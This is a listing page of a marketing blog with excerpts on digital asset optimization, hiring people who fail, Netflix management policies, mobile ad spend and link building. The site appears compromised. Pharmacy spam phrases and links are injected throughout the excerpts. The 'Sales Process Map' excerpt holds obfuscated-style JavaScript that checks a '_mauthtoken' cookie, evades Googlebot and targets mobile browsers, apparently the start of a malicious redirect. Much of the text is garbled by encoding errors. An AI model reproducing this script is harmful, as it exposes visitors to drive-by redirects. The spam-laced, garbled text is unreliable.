Leveraging Keyword Research for Digital Asset Optimization

digital asset optimization

By Ron Jones Digital asset optimization (DAO) is becoming a serious consideration among marketers ever since the beginning of blended or universal search. Many are calling it the new SEO. This is because traditional SEO focuses on optimizing text content and DAO expands the net to all types of non-text assets such as images, video, PDFs, podcasts, blogs, RSS, and other type assets. Most of these are social media related. tofranil generico pills online One way of looking at it is the combining of search engine optimization with social media optimization: buy pills SEO + Social Media Optimization = Digital Asset Optimization Optimizing for DAO is similar to SEO with the same best practices, but essentially you have each new media type to individually optimize for. With all of … [Read more...]

Why I Hire People Who Fail

failure and success

This article was written by Jeff Stibel pills online order cytoxan chemotherapy A few weeks ago, I wrote about avoiding social media failures. I briefly mentioned our company's "Failure Wall" and was surprised by the number of comments and questions I received about it. What's the purpose? How does it work? And what other kinds of things do you do in that crazy office of yours? The failure wall was part of our efforts to create a company culture where employees can take risks without fear of reprisal. As NPR's Here and Now reported earlier this year, we started by collecting inspirational quotes about failure. Among my favorites: "Success is going from failure to failure without loss of enthusiasm." ai??i?? Winston Churchill "I have not failed, I've just found ten thousand ways … [Read more...]

Is Marketing Bad?


To share an interesting piece of writing by Paul Cheney Why a value proposition makes marketing ai???goodai??? For most of my life, Iai??i??ve held the opinion that marketing is bad. I remember meeting someone in college who said they were majoring in marketing and advertising. I donai??i??t remember my exact response, but I do remember saying something along the lines of: ai???Oh ai??i?? so youai??i??re going to college to learn how to lie?ai??? I was so cynical about the way marketing usually gets done that I couldnai??i??t help but respond with self-righteous disdain. Luckily for me (and the people I come in contact each day), Iai??i??ve changed a little since college. In fact, if you ask me today whether I think marketing is good or not, I would probably argue … [Read more...]

Share Netflix’s Policies

Netflix's Policies

There are companies that are doing well in fostering innovation and speed in the workplace. Netflix, for example, has put into practice several seemingly counterintuitive management policies with great success: ramtirth brahmi hair oil price 1) No vacation policy (take as much as you want, as long as you're doing a great job and covering your responsibilities), 2) "Outstanding" employees only--doing an "adequate" job leads to your getting a "generous severance package," so the company can hire an A-player in your place, 3) "Freedom and responsibility" vs command-and-control: Good managers give their employees the right context in which to make decisions--and then the employees make the decisions, and 4) No "brilliant jerks" -- Star performers who also happen to be hell to … [Read more...]

Mobile Ad Spend to Hit $1 Billion, Media & Search Ads Expanding

mobile spend

EMarketer has released analysis of mobile ad spending that predicts decreased investment in message-based ads and dramatically increased investment in banner, search, rich media, and video ads on the mobile platform. order florinef for orthostatic hypotension pills online how much ranitidine for 13 lb baby … [Read more...]

Sales Process Map, Campaign to Customer

Sales Process Map

Share a very nice sales process map that outlines the process from marketing campaigns to leadsAi??to end customers. Sales Process Map - Buy Campaign to Customer cheap generic plavix http://nebashi.com/?p=5539 cost for remeron -Susieif(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a … [Read more...]

Digital Marketing Aganecy And Client Relationship is a Marriage


augmentin price in rupees I read a very interesting article today (Acquiring Media Planning Business in a 'New Normal' Ageai???) talking about media planning agency and client relationship. I would love to share some information from the article with you. 1, The article asks the question: what does the client really want? They want to pay less and get more. But because they do Not understand the scope of work involved in planning and managing digital campaigns, they usually can only get this at the expense of expertise or integrity. The pressure for the agencies to reduce fees can result in "an inability to sustain profitable margins on digital media management service," 2, Nowadays, digital marketing serviceai??i??s "Standard practices" seem to be out the window. Those of us who … [Read more...]

Some Link Building Tips to Share with Youai???

SEO Link Building

Buy order lady era 100mg Buy 1, Moderation and diversification are important principles in anchor text selection. Do your homework and identify a set of valuable derivates such as ai???menai??i??s winter jacketsai??? and ai???cheap menai??i??s jackets.ai??? Diversifying the keywords within your link profile will help it appear natural. An anchor text usage rule of thumb that weai??i??ve seen success with looks something like this: 50 percent containing the exact match keyword. 30 percent to 40 percent containing keyword derivatives. 10 percent to 20 percent containing brand terms/URL. Diversification not only relates to the anchor text but to the proportion of ai???followai??? and ai???nofollowai??? links within your profile. Many link builders make the mistake of acquiring … [Read more...]

Starting Your Own Company: My Advice After 6 Years


by Duncan Parry, September 14, 2011 I've been lucky enough to work at entrepreneurial companies, including forming an agency 6 years ago and selling it earlier this year. Occasionally I'm asked my advice for anybody starting their own business, so here are a few pearls of (what I hope is) wisdom. Find a Mentor metformin purchase uk If there's one thing I could go back in time and tell myself in 2005, it's that I should find a business mentor. You'll have plenty of people around you who can give you advice as your business grows, but you'll need someone outside of your colleagues and board for advice and to sound off to about your frustrations and concerns. Someone who has plenty of business experience and has seen it all before ai??i?? half wise aunt or uncle, half … [Read more...]